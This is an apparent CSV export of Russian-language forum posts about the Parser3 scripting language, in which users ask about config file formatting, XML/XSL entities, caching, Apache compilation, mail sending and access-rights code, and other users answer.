и новые данные приводятся. А в другом месте на странице -\
старое имя пользователя.\
\
Так-то это фигня, я все равно по-своему сделаю!\
Свой клопы всяко роднее."
"22314","Однако в вашем примере с формой может оказаться, что данные о пользователе выведены в другом месте страницы еще ДО вызова userUpdate.\
\
Но в принципе я согласен, хеш $user при успешном апдейте нужно обновить. Поправлю."
"22317","может лет через 10 слова \"овнер\", \"таск\" и Co станут общеупотребительными? (про \"таск\" - вообще разговор особый, в рамках студии это уже общеупотребительное слово).\
\
к чему это я?\
а! к тому что, что разговор беспредметный.\
\
в описаниях я стараюсь писать более широко употребляемые слова, а в комментариях - увольте, на каком языке думаю, какой [b]мне[/b] ближе - на том и пишу. хорошо хоть мат из комментариев убираю перед выкладыванием :)\
\
P.S. про ворчание я в курсе :)"
"22318","Только позиционировать его надо не как \"рунглиш\" (этот брэнд не катит), а как \"профессиональные термины\".\
\
вот например, http://www.parser.ru/jargon/\
\
[i]Любая профессия, любая новая технология всегда рождает новые слова. Употребление и понимание жаргонизмов позволяет [b]отличить профессионала от любителя[/b].\
\
...\
\
[b]цефегешник[/b] — (cfg'шник) — файл с расширением .cfg\
[b]конфиг[/b] — то же, что и цефегешник\
\
...[/i]\
\
быстренько дописываем в конец:\
[i][b]овнер[/b] - владелец\
[b]экспайрнуться[/b] - истекать\
[b]таски[/b] - задачи...[/i]\
\
т.д. Всего делов то...  :-P"
"22319","Вот начало:\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<article>\
	<chapter which=\"default\" />\
	\
	<comment>\
		be empty\
	</comment>\
	\
	<headline>\
		Заголовок\
	</headline>"
"22320","Делаю POST и в новом окне должны отображаться его (POST'а) результаты. А HTTP_REFERER пустой?! =(\
\
Как такое можно сделать?"
"22322","Лично я могу в любой момент запретить своему броузеру отправлять его поэтому зачем на него расчитывать?"
"22323","А про хэш с языками - не сильно поможет, уже так придумывалось. Мне языки нужны для каждого модуля в отдельном файле. У меня подсоединяются нужные файлы с языком, а потом через $msg:чего-нибудь я могу достать любую из них. Хотя есть моменты кроме языков, где хэш такой очень пригодится! Надо испробовать все варианты.\
\
О результатах доложу."
"22324","Я уже перепробовал все варианты прямо не знаю в чем дело!\
Вот так я написал .cfg. Где здесь может быть ошибка?\
\
section_id name        uri\
1          Главная     /\
2          Новости     /news/\
3          Контакты    /contacts/\
4          Цены        /price/\
5          Ваше мнение /gbook/\
\
Если бы можно было скачать исходники что бы посмотреть как должно быть и понять наконец то свою ошибку!"
"22325","section_id name uri\
          ^    ^\
         tab  tab\
1 Главная /\
 ^       ^\
tab     tab\
...\
5 Ваше мнение /gbook/\
 ^           ^\
tab         tab"
"22326","Parser в предыдущем моем сообщении несколько пробелов подряд удалил, в общем смысл в том, что поля разделяются табуляцией, поэтому и способ называется tab-delimited.\
В остальном все должно быть правильно"
"22327","Парсер, компонуя HTML, проверяет на валидность (c точки зрения xml) текст (<xml:text>), то есть чтобы в результате получилось <br>, надо в xsl написать <br />. Зачем это?"
"22328","Я это все прекрасно понимаю. Но дело в том что я так и делал. Все равно не работает."
"22329","http://www.parser.ru/forum/?id=17295\
\
скопируйте пример который там найдёте в свой sections.cfg, если заработает - включите в своём редакторе отображение \"скрытых символов\" и посмотрите в чём разница.\
\
Ошибка \"'uri' column not found\" означает, что парсер не находит столбец \"uri\" - либо его там нет, либо вы неправильно отформатировали таблицу. Третьего не дано."
"22331","у нового окна, кажется, referer пустой в принципе?"
"22332","window.opener.location, если не ошибаюсь..."
"22333","То, что получается ошибка - результат попытки создания xdoc или трансформа из того, что есть. \"Падает\" именно xml-модуль, который ожидает от парсера корректный код.\
\
А тэги нужно закрывать согласно стандарту. Для <br /> это описано в [url=\"http://www.w3.org/TR/xhtml1/#h-4.6\"]XHTML #4.6[/url]"
"22334","надеюсь все в курсе что там не должно быть непарных тегов, т.е. <br> должно заменяться на <br/> особую форму записи для пустых элементов."
"22335","Как-то не по стандарту :(. А как он делает из <br /> простой <br>?? Понимает, значит, отличие? \
\
Суть проблемы для меня в том, что XML должен генериться из формы, то есть надо теперь юзеру объяснять, что вместо <br> надо писать <br />, а тег <img>  закрывать.\
\
Ну ладно, придумаю что-нибудь. Но неожиданно. Тему XML в Рarser предлагаю развить."
"22336","Код:\
<xml:temlate......>\
<br>\
</xml:template>\
\
Вроде как корректный? Или я что-то недопонял?(опять!!!)"
"22340","нафига javascript'ом если вам server-side это всё нужно...\
\
тогда так:\
[code]\
<form name=\"myForm\" onSubmit=\"document.myForm.referer.value=window.location\"...\
<input type=\"hidden\" name=\"referer\" value=\"\">\
...\
[/code]\
\
ну или что-то в этом роде, и достаёте как $form:referer..."
"22341","тизер -- реклама с загадкой,\
продакшн -- производство,\
коммуникация -- общение,\
принт -- отпечатанное,\
лейаут -- макет,\
менеджер (!) -- управляющий (реально в одной компании перешли на русский -- на визитках пишут УПРАВЛЯЮЩИЙ)\
бриф -- тех. задание\
и т. д."
"22345","логаут то он и в африке логаут..."
"22346","он не поймёт или обидится, вы лучше матчем после него все тэги закройте он и не узнает ничего."
"22347","Я обнаружил одну вещь. Таблица как пример показанная в http://www.parser.ru/forum/?id=17295\
была скорее всего сделана в каком то из никсов. по крайней мере в виндовсе если я ставлю пробел то будет пробел а не табуляция.т.е. виндовс вообще не поддерживает tab-delimited. вернее сделать его используя виндовс я не знаю способов."
"22348","попробуйте расставлять табуляцию не пробелами, а клавишей [Tab], она есть на клавиатуре, слева вверху под [~]."
"22349","Правда, главный бухгалтер != счетовод, но это уже тонкости :-)"
"22351","<xsl:text> нужен для сохранения пробельных символов, но не для отступления от синтаксиса :)"
"22352","[quote]\
Как-то не по стандарту :(. А как он делает из <br /> простой <br>?? Понимает, значит, отличие? \
[/quote]\
\
Понимает - при трансформе, в элементе xsl:output указывается тип вывода, xml, html если html то брюки превращаются ... в элегантные шорты, т.е. я хотел сказать что <br/> в <br> в результирующем HTML коде."
"22353","Я ж дал наиболее удобоваримую ссылку."
"22355","Подправил код, заменив $config:site_name на $config:site.name. Очень удобно юзать\
[code]\
$site[^api::get_cfg_vars[/site.cfg]]\
[/code]\
Не нужно делать глупые префиксы site_ в именах переменных, код более читабельный и логически более конкретизирован. (Во загнул!)\
\
Хоть и не в стиле Парсера, но как нельзя лучше подходит."
"22356","В мануале написано юзать ^use[] внутри ^cash[]. Я так понимаю, что каждый раз Парсер не перекомпилирует (или как правильно сказать применительно к нему?), т.е. не перечитывает, а берет из кэша. \
\
Сильно помогает, если подключать 10 файлов по 3Кб?\
Оптимально ли использовать кэш для загрузки переменных из .cfg (^api::get_cfg_vars[file])?\
\
И еще: можно кэшировать любые статические куски кода (например, заголовок и футер страницы), или это излишне?"
"22357","Чем меньше операций с файлами - тем лучше.\
Любое чтение файла - операция медленная - следовательно, надо ее в кэш. Именно потому и предлагается делать ^use[] из кэша. Ну и 10 файлов по 3k - 10 дисковых операций.\
Только кэш правильно обозвать надо, раз используются разные языки (но это, думаю, очевидно)."
"22358","лично мне 10 cache в страничке не кажутся правильным решением.\
\
мне кажется, что чем проще - тем лучше, а самый простой вариант - кешировать страницу целиком.\
\
но случаи бывают клинические, и приходится кешировать промежуточные результаты, однако более двух cache в одной странице мне делать не приходилось :)\
\
да и экономия в подключении 10 файликах по 3 КБ мне кажется экономией на спичках.\
\
у вас нету ни одного SQL запроса в страничке? у вас все запросы оптимизированы по времени и выполняются с единицах миллисекунд? если нет - забейте на кеширование use и идите оптимизировать/кешировать запросы к БД :) \
\
а если да и вам этого недостаточно - то самое время подумать о модуле апача :)"
"22359","Буду делать так:\
[code]\
^cache[файл](число секунд){\
	^use[${MAIN:ROOT}/lib/config.p]\
	^use[${config:dir_lib}dtf.p]\
	^use[${config:dir_lib}api.p]\
	^use[${config:dir_lib}user.p]\
	^use[${config:dir_lib}module.p]\
	^use[${config:dir_lib}blocks.p]\
	^use[${config:dir_lib}page.p]\
	^use[${config:dir_lib}msg.p]\
}\
[/code]\
и вот так:\
[code]\
^cache[файл](число секунд){\
	<!-- Сам знаю, что тупее вряд ли можно придумать! -->\
	<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
	<html>\
		<head>\
			<title>$config:site.name $config:site.br $config:site.slogan</title>\
			^page:meta[]\
			^theme:styles[]\
		</head>\
		<body>\
			<a name=top></a>\
			^theme:show[]\
		</body>\
	</html>\
}\
}\
[/code]\
\
И запросы о модулях кэшировать надо."
"22360","1. ^use[${config:dir_lib}dtf.p] - пардоньте, я не проще писать ^use[dtf.p]? естественно, перед этим надо определить CLASS_PATH, который МОЖЕТ БЫТЬ ТАБЛИЦЕЙ, т.е. указывать в несколько мест.\
\
2. \
[code]\
^cache[файл](число секунд){\
  ^use[config.p]\
  ^use[dtf.p]\
  ^use[api.p]\
  ^use[user.p]\
  ^use[module.p]\
  ^use[blocks.p]\
  ^use[page.p]\
  ^use[msg.p]\
}\
[/code]\
\
и зачем?\
если уж юзать, то юзать так:\
[code]\
^cache[файл](число секунд){\
  ^use[config.p]\
  тут код который использует методы класса config\
}\
[/code]\
\
оператьр cache кеширует СТОКУ. он не говорит парсеру запомнить состояние на тот момент. он сохраняет результат работы."
"22361","вы прочли моё сообщение? или оно прошло мимо вас :)\
http://www.parser.ru/forum/?id=22293"
"22362","стандарт, правда, совсем другой :)\
xsl файл записан в xml формате, стало быть читаем спецификацию xml."
"22363","Преждевременная оптимизация - корень всех зол :) Это к вопросу о 10 файлах по 3 кило."
"22364","Как сделать, чтобы в ХМL ставились неразрывные пробелы, не определяя entyti  в каждом файле? Или -- чтобы в xls их всатвлять. \
\
задача полностью аналогична уроку 6, но нужны символы \"экранной типографики\" в тексте."
"22365","1. Допустим, есть строка: \"мама папа бревно палено бабушка\"\
2. Есть таблица MySql, и там есть записи \"бревно\",\"палено\"\
3. Как сделать так чтобы из исходной строки удалились все слова которые есть в таблице, т.е. осталось \"мама папа бабушка\"\
\
Заранее спасибо."
"22366","Ссылки по теме\
http://www.parser.ru/docs/lang/stringreplace.htm\
http://www.parser.ru/docs/lang/stringmatchreplace.htm"
"22367","В стандарте xml я не видел упоминания <br /> (может, невнимательно смотрел).\
Да и пункта 4 из xhtml достаточно для создания валидного xml."
"22368","И подключать как SYSTEM в <!DOCTYPE"
"22369","http://pyramidin.narod.ru/xml/xml1/index.htm#NT-EmptyElemTag\
\
[ссылка на английскую есть в доке]"
"22373","а сущность &amp&nbsp; пишется в документ именно в таком виде. То есть, отображается в браузере как &nbsp;"
"22375","Делаю пост на сервер action=\"какойто файл\" target=\"Имя окна, открываемого по событию onClick, висящего на кнопке сабмит\". Хотелось бы просто проверочку на HTTP_REFERER перед обработкой POST'а сделать.\
З.Ы. Ненадёжность такой проверки осознаю ;)"
"22377","Вариант, предложеный вами вполне работоспособен. Наверное его и оставлю. Спасибо."
"22379","как вы пробуете?"
"22380","и хотите, чтобы вам сказали то же самое, но другими словами.\
\
поверьте, в документации пытались сказать самыми лучшими словами, поэтому давайте сразу скажите, чего не поняли."
"22381","<?xml version=\"1.0\" encoding=\"windows-1251\" ?>  \
<!DOCTYPE article [\
<!ENTITY nbs \"&nbsp;\">\
]>"
"22384","Мне необходимо, чтобы поисковая система опозновала дату последнего изменения html страницы. Мой провайдер уверяет, что средствами Apache это сделать не удается. Возникает предположение о том, что это можно сделать средствами Parser. К сожалению такой информации в документации обнаружить не удалось."
"22386","и попробуйте запомнить сие несложное таинство и в первую очередь применять его для решения своих задач.\
\
P.S. hint: для задач не относящихся к парсеру можно еще пользоваться подожными инструментами на google.com и ya.ru"
"22387","надо так:\
[code]\
<!DOCTYPE xsl:stylesheet [\
	<!ENTITY nbsp \"&#160;\">\
]>\
[/code]\
PS: А вообще Глеб вы просто лентяй, вам лень смотреть книжку, доку и т.д., вместо этого вы тут флудите и людям спать не даёте. Ладно вопросы были бы толковые, но это за 30 секунд в соотв. месте находится."
"22388","Не лентяй, просто общительный :)"
"22389","эскейп-коды коды туда никогда не попадут, потому что этого в модели нет. В конце концов это не должно заботить получателя документа. Просто вместо &nbsp; в шаблоне, на выводе будет \"невидимый\" неразрывный пробел, но он, поверьте, будет работать."
"22391","Ключевое слово HTML\
\
PS: Плохо теме стоко текста писать, просто неудобно. Она вообщем для этого не предназначена :)."
"22392","Ибо нет смысла создавать форумы и FAQ для тех, кому все понятно (как вам). А документацию я читаю, поверьте."
"22393",">PS: Плохо теме стоко текста писать, просто неудобно. Она вообщем >для этого не предназначена :).\
\
Э... не понял? Вы какого языка разговариваете? 8)"
"22394","Плохо [b]в[/b] теме ..."
"22395","Вы его забываете. Это ведь обсуждалаось уже. Искать, точнее формировать в сознании ключевые слова, надеюсь умеете?"
"22396","Всем хай!\
\
Нужно собрать parser как статический модуль к апачу. Ругается вот на что:\
\
mod_parser3.C:12:22: pa_httpd.h: No such file or directory\
make[3]: *** [mod_parser3.o] Error 1\
make[3]: Leaving directory `/usr/local/src/parser3/src/targets/apache13core'\
\
Конфигурил со следующими опциями:\
\
./configure --prefix=/usr/local --with-shared-gc=/usr/local --with-mysql-client --with-shared-xml=/usr/local --with-apache13=../apache_1.3.28\
\
Может быть, этот pa_httpd.h просто забыли положить в дистрибутив? Или у меня проблемы? Parser версии 3.1.\
\
-- vlad"
"22398","В том то и дело, что Ваш вариант лучше всего подходит. Я просто показал конечный результат и его плюсы. Спасибо!"
"22399","Оптимизировать решил после того, как будет готов законченный код и реально отслеженно быстродействие. А пока заморачиваться с этим не стоит."
"22400","В классе уже есть метод getRightsToObject, вычисляющий эффективные права пользователя на объект.\
\
НО! Что понимается под объектом? Как создается этот объект? Как проверяються права на этот объект и как эти права задаються?\
\
Если можно, то объясните на примере...\
Допусим я хочу создать форум, но для посещения(чтения), создания сообщений и ответов нужно иметь права, которые задаються отдельно... Как это создать?\
\
Помогите пожалуйста разобраться..."
"22401","пытаюсь скомпилировать Apache с PHP и Parser\
делаю:\
cd apache_1.3.28\
./configure\
cd ../php-4.3.3/\
./configure --with-mysql=/usr/local/mysql --with-apache=../apache_1.3.28 --enable-safe-mode\
make\
su\
make install\
cd ../parser-3.0.8/\
./configure --prefix=/usr/local/parser --with-mysql --with-apache13=../apache_1.3.28 --enable-safe-mode\
make \
вот make завершается с такими ошибками после довольно долгого выполнения:\
   -g -O2 -c -o parser3.o `test -f 'parser3.C' || echo './'`parser3.C\
source='getopt.c' object='getopt.o' libtool=no  depfile='.deps/getopt.Po' t\
mpdepfile='.deps/getopt.TPo'  depmode=gcc /bin/sh ../../../depcomp  gcc -DH\
AVE_CONFIG_H -I. -I. -I../../../src/include -I../../classes -I../../types -\
I../../sql -I../../lib/pcre -I../../lib/md5 -I-I../../../src/lib/ltdl     -\
g -O2 -c `test -f 'getopt.c' || echo './'`getopt.c\
make: don't know how to make ../../classes/libclasses.a. Stop\
*** Error code 1\
\
Stop in /usr/packed/parser-3.0.8/src/targets.\
*** Error code 1\
\
Stop in /usr/packed/parser-3.0.8/src.\
*** Error code 1\
\
Stop in /usr/packed/parser-3.0.8.\
gamma# make: don't know how to make ../../classes/libclasses.a. Stop\
\
Что я делаю не так???\
вообще хотел создать модуль Парсера без XML с поддержкой MySQL для последующей компиляции Apache\
если опустить Parser, то Apache & PHP потом работают без проблем...\
Подскажите, пожалуйста, как правильно надо..."
"22403","как назначать права на эти объекты? и как их проверять(разрешен ли пользователю доступ к этому объекту)? Что надо передавать в thread откуда получать данные? мне это не понятно, можно объяснить?"
"22404","Хотелось бы узнать, появятся ли сайты \
\
[url=\"http://www.php.ru\"][/url]\
[url=\"http://www.vodka.ru\"][/url]\
[url=\"http://www.imprimatur.ru\"][/url]\
[url=\"http://www.mesto.ru\"][/url]\
\
?\
\
Если да, то когда?"
"22405","речь шла о www.php.ru, www.imprimatur.ru, www.mesto.ru, www.vodka.ru"
"22407","php.ru - иронично.\
imprimatur.ru - красивая картинка.\
Остальное без всякого смысла."
"22408","Для некоторых записей у меня существуют картинки с превьювами... и иногда их кол-во доходит до 30, что по-моему очень нагружает сервер...\
\
Вывод каждого превьюва происходит таким образом таким образом:\
[code]\
@show_preview_xml[][preview_img]\
# Если существует превью и сама картинка, то можно продолжить...\
^if(-f \"/i/${preview.id}.jpg\" && -f \"/i/full/${preview.id}.jpg\"){\
#	Загружаем, для получения высоты и ширины...\
	$preview_img[^image::measure[/i/${preview.id}.jpg]] \
	$result[<poster id=\"$preview.id\" width=\"$preview_img.width\" height=\"$preview_img.height\" ^if($preview.id == $default_poster_id){is_default=\"yes\"} ^if($preview.is_published){is_published=\"yes\"}/>]\
}{\
	$result[]\
}\
[/code]\
\
1) Как я понимаю при вызове 30 таких чтений процесс очень затормозиться... правильно?\
2) Сильно ли грузит сервер проверка существования фильма? Может следуеть хранить высоту и ширину превьюва в БД, из который я и получаю список всех доступных превьювов, и не создавать $preview_img, что бы облегчить работу?\
3) И стоит ли где-нибудь здесь использовать ^memory:compact[]? Если да, то где?"
"22409","Задачка моя заключается в следующем:\
есть таблица:\
id name price\
section1\
1 tovar1 price1\
2 tovar2 price2\
section2\
3 tovar3 price3\
4 tovar4 price4\
section3\
и.т.д\
а надо эту таблицу преобразовать в следующую:\
id name price section\
1  tovar1 price1 section1\
2  tovar2 price2 section1\
3  tovar3 price3 section2\
4  tovar4 price4 section2\
\
Можно ли это как-нить красиво сделать?"
"22410","номер 2. Всё, что тебе может понадобится, храни в БД и вычисляй это только при изменении данных в БД."
"22411","[code]\
## временная строка для названий секций\
$tmpSectName[]\
## твоя таблица\
$tbl1[]\
## новая таблица\
$tbl2[^table::create{id  name price  sect}]\
\
^tbl1.menu{\
  ^if(!def $tbl1.name && !def $tbl1.price){\
    $tmpSectName[$tbl1.id]\
  }{\
    ^tbl2.append{$tbl1.id $tbl1.name $tbl1.price $tmpSectName}\
  }\
}\
[/code]\
\
Достаточно красиво? :)"
"22414","этот метод занимается тупейшей вешью - битовой арифметикой и не более того. и читать про engine было совершенно не обязательно.\
\
ему приходят данные (какие данные он кушает описано перед методом) и он просто на их основании выдает какое-то число.\
\
как готовятся данные - методу пофигу.\
\
что это за данные - ему до фонаря.\
\
как потом будет использоваться выданное им число - его не интересует.\
\
тупейший вариант использования:\
[code]\
^rem{ *** достаем данные о текущем документе *** }\
$current_object[^MAIN:pSQL.sql[table]{\
	SELECT\
		page_id AS id,\
		parent_id,\
		thread_id,\
		irf,\
		...\
	FROM\
		page\
	WHERE\
		path = '$request:uri'\
}]\
\
^rem{ *** достаем данные о текущем треде *** }\
$thread[^MAIN:pSQL.sql[table]{\
	SELECT\
		page_id AS id,\
		parent_id,\
		irf,\
		...\
	FROM\
		page\
	WHERE\
		thread_id = $current_object.thread_id\
}]\
\
^rem{ *** $auth_data - объект класса auth *** }\
^rem{ *** достаем назначения прав текущему пользователю на все объекты треда *** }\
$acl[^auth_data.getFullACL[$thread]]\
\
^rem{ *** определяем права авторизированного пользователя на объект *** }\
$effective_right(^auth_data.getRightsToObject[$current_object;$thread;$acl])\
\
^rem{ *** все, права текущего пользователя на $current_object у нас посчитаны, можно юзать *** }\
^rem{ *** при прочтении слова \"юзать\" egr идет пить валерьянку :) *** }\
[/code]\
\
предварительно определяем для себя: какой бит у нас отвечает за какое право на объект, например так:\
1 - supervisory (может все)\
2 - read (может смотреть)\
4 - write (может изменять)\
8 - delete (может удалять)\
\
[code]\
^if($effective_right & ($supervisory + $read)){\
  посетиль имеет права смотреть объект, показываем ему что-то\
}{\
  прав нету, посылаем его подальше. как именно - зависит от вас.\
}\
[/code]\
\
естественно, лучше создать методы типа @is_read[], @is_write[] в которые вынести конструкции вида $effective_right & ($supervisory + $read)"
"22419","После установки Парсера перестает работать поддержка PHP и даже после удаления всех файлов парсера НЕ ВОССТАНАВЛИВАЕТСЯ!!!\
\
Сам Парсер тоже не работает. Никаких ошибок в логах нет.\
\
AllowOverride включен. \
\
<Directory Z:/>\
    Options Indexes Includes\
    AllowOverride All\
    Allow from all\
</Directory>\
\
У меня локальный сервер. Такая структура.\
\
Z:/home/localhost/cgi/\
---------------------/www/ \
\
ServerName  localhost.\
\
В папку localhost кладу файл .htaccess:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Не работает ни в какую!!! В чем может быть проблема!!??\
Может из-за самого Millenium'a? Лучше Win 98, Win 2000?\
\
Раньше была такая настройка\
AddHandler server-parsed .shtml .html .htm\
\
Убрал, но не помогло."
"22420","что тут расписывать?"
"22421","Во-первых, оказалось, что файлы конфигурации надо складывать не рядом с исполняемым файлом а в папку /cgi/charsets.\
\
Во-вторых, в документации в первом примере программы меню навигации указано, что файлы auto.p и sections.cfg надо складывать в корневой каталог сайта, ну я по простоте душевной и кладу в localhost... Короче, попробовал положить в /www/, заработало!!!!!!! А что, каталог localhost/www/ называется корневым каталогом сайта?\
Еще на странице загрузки Win32 указано, что файл .htaccess создается в корневом каталоге сайта. Что, тоже в /www/ складывать? Нет, работает именно в localhost. Так что же это за инструкции?\
\
КСТАТИ, простейший пример работает.\
НО, вот такая штука не получается =>\
-----------------------------\
Для проверки функционирования парсера наберите в адресной строке броузера:\
http://ваш_сайт/cgi-bin/parser3.cgi (или .exe, для версии под win)\
Вы должны увидеть примерно следующее: \
\
Parser/3.x.x\
Если вы это увидели, парсер скопирован куда следует, права на него установлены правильные. \
------------------------------\
\
Как это может быть возможно!!!!!!!!!!!!!!!!!!\
\
В доках написано, что работать с парсером могут даже неподготовленные люди. У меня хоть есть кое-какой опыт, разобрался с грехом пополам. Но люди только начинающие изучать \"скриптование\" могут просто бросить парсер на этапе инсталляции. Очень запутанные инструкции."
"22422","http://www.parser.ru/download/win32/\
у меня все сразу заработало (Win98se, WinXP)"
"22423","Дело в том что у меня на сайте есть форма отправки сообщения админам\
[code]\
^mail:send[ \
      $.from[stat@xxx.xx] \
      $.to[admin1@xxx.xx] \
      $.subject[$subj] \
      $.text[$text] \
] \
[/code]\
что только не пробовал и       $.to[admin1@xxx.xx,admin2@xxx.xx ]\
и $.to[admin1@xxx.xx; admin2@xxx.xx ]\
ничего не выходит\
добился только через $.сс[admin2@xxx.xx], а мне надо на 3 адреса"
"22424","У меня работает такой код:\
[code]\
  $.to[<mail1@mail.ru> <mail2@mail.ru>]\
[/code]"
"22425","[quot]\
Во-первых, оказалось, что файлы конфигурации надо складывать не рядом с исполняемым файлом а в папку /cgi/charsets.\
[/quot]\
\
конфигурационные файлы надо класть рядом с исполняемым файлом, а файлы с кодировками - в каталог charsets, именно так сказано в инструкции по установке.\
\
[quot]\
Во-вторых, в документации в первом примере программы меню навигации указано, что файлы auto.p и sections.cfg надо складывать в корневой каталог сайта\
[/quot]\
\
корневой каталог сайта - это его DOCUMENT_ROOT и никто кроме вас не в курсе где он у вас находится.\
\
[quot]\
Еще на странице загрузки Win32 указано, что файл .htaccess создается в корневом каталоге сайта.\
[/quot]\
\
аналогично. при этом подразумевается что отсчет ведут от установки апача по умолчанию... однако у апача может работать если он положен в директорию выше. все зависит от конкретных настроек апача.\
\
у вас не работает .htaccess в www? а вы пробовали почитать [url=\"/faq/install/\"]FAQ по утсновке[/url] или пробовали почитать на странице где вы скачивали парсер тексты слева? там говориться в том числе и про .htaccess:\
[quot]Внимание: по-умолчанию, в установке Apache возможность использования .htaccess отключена.[/quot]\
\
[quot]\
НО, вот такая штука не получается =>\
[/quot]\
\
КАК не получается? на экране вас посылают подальше, internal server error? unhandled exception? запускается менеджер закачек? еще что-нить? кроме вас никто не видит экран вашего компьютера.\
\
[quot]\
В доках написано, что работать с парсером могут даже неподготовленные люди.\
[/quot]\
\
подразумевается, что они будут в первую очередь пользоваться установками по умолчанию и читать инструкции."
"22426","1. да\
2. нет. а вот измерение картинки операция не шустрая. поэтому или размеры хранить в базе или результат в cache\
3. нет"
"22427","Сейчас исходники сайта хранятся на отдельном сервере CVS для разработок. На хостинге обновляются путем захода через shell и ручного вызова обновления CVS.\
\
Хочется реализовать следующее:\
кпоночкой, к примеру, в админ зоне, взывается обновление и результаты выводит на страницу.\
\
Проблемы: \
1. вызов самого cvs. Т.к. апач скомпилен с suexec parser исполняется с определенными юзером и группой для сайта, в то время как cvs - команда системы, и срабатывает safe mode exception.\
2. выдача результатов. Обновление требует некоторого времени, в течение которого процесс httpd может отвалиться. Здесь в parser не хватает реализации push технологии.\
\
Варианты решения:\
1. Скрипт на Perl, который будет заниматься вышеперечисленными задачами.\
2. Внедрение новых фич в parser.\
\
Что скажут специалисты?"
"22429","может быть выше, чем ожидается. (с) опыт."
"22433","[code]\
$admins[^table::create{email\
first@xxx.xx\
second@xxx.xx\
third@xxx.xx}]\
\
^admins.menu{\
^mail:send[\
      $.from[stat@xxx.xx]\
      $.to[$admins.email]\
      $.subject[$subj]\
      $.text[$text]\
]\
}[/code]"
"22434","Во всяком случае я так не считаю. 1300 чел/сут. типичный сайт на парсере выдержит и без всякого кэширования, - опыт. 2000-3000 думаю тоже, всё зависит от тарифного плана. Если больше кэширование может быть нужно.\
\
Однако, сайтов с такой посещаемостью среди независимых разработчиков на парсере, кот наплакал.\
\
А при нормальной архитектуре добавить простенькое кэширование несложно."
"22435","но вот из за такого, сервак выдает 500-ю\
\
[code]\
$fuid[^table::create{cat	id}]\
^fuid.save[text;/data/uid/${uid}.dat]\
[/code]\
\
$uid - случайно сгенерированая последовательность из букв и цифр длиной 32 символа.\
\
Помогите Пожалуйста."
"22440","вот это\
http://ваш_сайт/cgi-bin/parser3.cgi (или .exe, для версии под win)\
на обоих серверах выдает ошибку 500\
а в лог апача пишется\
[Mon Oct 27 13:10:20 2003] [error] [client 192.168.5.100] [Mon Oct 27 13:10:20 2003] Parser/3.1.0\
так что если судить по документации мой Парсер установлен не верно, где моя ошибка?"
"22442","Надо заменить 4 подряд идущих пробела на четыре символа &nbsp;. Пытался делать это с помощью ^str.replace[$table], при чем пробелы указывал ясно (т.е. печатал обычные пробелы). На локальном сервере работало, а выложил в сеть - перестало работать.\
В чем причина?"
"22443","Представим себе базу в 1000 адресов и, соответственно, 1000 персональных писем и, соответственно 1000 запусков sendmail из одного процесса parser3...\
\
Идем за валерианкой и пивом админам..."
"22445","Кэширование можно легко добавить в любое время, а насчет быстродействия - так PostNuke [PHP] грузит все подряд, ничего не кэшируя. Так этот монстр (мягко говоря) на быстром хостинге летает."
"22447","При чем замена ^taint[^#0A] на <br> работает, а замена пробелов на &nbsp; нет. И еще замена *** на другой элемент не работает, в т.ч. и \"пачканых\" При чем только на сервере в Сети, на локальном все отлично. В чем причина-то? И как решить, подскажите, плиз"
"22448","Таблица замен, в коде, *.cfg или в БД?\
если в БД таблица автоматом грязная, если в коде или в *.cfg(к стати в *.cfg неуверен) то инфа яется по умолчанию чистой."
"22451","сами видите, что получается.\
\
сразу скажите, «мне лениво что-то оптимизировать, нафиг надо, хостинг всё вытянет»."
"22452","Проблема - гружу с LiveJournal RSS-поток в виде XML - http://www.livejournal.com/~avva/data/rss/ - и получаю ошибку [code]Entity: line 21: error: Input is not proper UTF-8, indicate encoding !\
  <title>мимоходом</title>\
         ^\
Entity: line 21: error: Bytes: 0xEC 0xE8 0xEC 0xEE\
  <title>мимоходом</title>\
         ^[/code]Раньше пользовался Parser 3.08 ISAPI, проблем не было, теперь перелез на CGI-версию для FreeBSD (и другой хостинг) и вот... ((("
"22453","http://feedvalidator.org/check?url=http%3A%2F%2Fwww.livejournal.com%2F%7Eavva%2Fdata%2Frss%2F"
"22454","Но это не мешает им успешно её продавать, а вообще это очень сложный вопрос, - тут отрасль в целом должна замедлиться, чтобы оставалось время на оптимизацию (читай кэширование), которая в условиях цейтнота, почти всегда приносится в жертву :(, вам ли это не знать."
"22455","Предлагаю рассмотреть сл. ситуацию.\
У нас есть объект parent и у него \
два потомка child1 и child2.\
\
Верно ли, что у этих объектов должен\
быть общий thread_id?\
Подозреваю, что да.\
\
Тогда, для определения доступов к объекту\
child2 мы вытаскиваем доступы к объекту child1\
(и всем его потомкам, не так ли), что нам совершенно\
не нужно.\
\
Возможно, что в каком-то узле дерева объектов\
поле irf будет равно 0, тогда нам, очевидно, не нужны все\
его предки.\
\
Получается, что нужно писать весьма сложный\
код для создания параметра thread перед вызовом метода\
@getRightsToObject[object;thread;acl;is_owner].\
\
На всякий случай замечу, что к приведеному коду\
у меня претензий нет, потому как это всего лишь пример.\
\
Мне представляется, что проще в классе auth определить\
виртуальный метод getObject[object_id], который\
бы выдавал нужные поля объекта в удобном виде.\
Например, таблицей. Виртуальный, потому как в\
общем случае, в классе auth, как я понимаю, мы\
не знаем, что такое объект и откуда его брать.\
Дальше, в коде метода getRightsToObject[]\
вместо обращения к таблице thread можно поставить\
вызов метода getObject. Поле acl тоже не нужно,\
его можно получить по объекту.\
\
В таком случае, использование класса упрощается.\
Нужно только создать наследника класса и определить\
простой метод getObject. Это, думаю, намного проще,\
чем вытаскивать всех предков, не забывая при этом\
про поле irf. Тем более, что все предки могут\
и не понадобиться. Например, в случае, когда у нас\
уже \"закэшированы\" права на одного из предков, скажем, непосредственного.\
\
Мне очень понравилась идея провести аналогию с NDS.\
Бросаются в глаза отличие.\
В NDS пользователи и группы тоже являются объектами.\
И на них можно давать права!\
\
Спасибо за внимание!"
"22456","пишу метод(часть класса), форматирующий дату, принцип такой же как в примерах, только по форматной строке метод такой же как DATE_FORMAT в MySQL.\
названия месяцев и дней недели грузятся из xml файла, где они прописаны на разных языках, от языков это все независимо.\
так вот есть там такая штука\
[code]\
%D - вместо этой конструкции долно вставлятся число месяца с префиксом( 1st 2nd 3rd ....)\
[/code]\
на руском языке сответсвенно свой префикс 1-е,2-е и т.д., на других языках свои правила.\
\
думаю как грамотно реализовать такую вещь?\
\
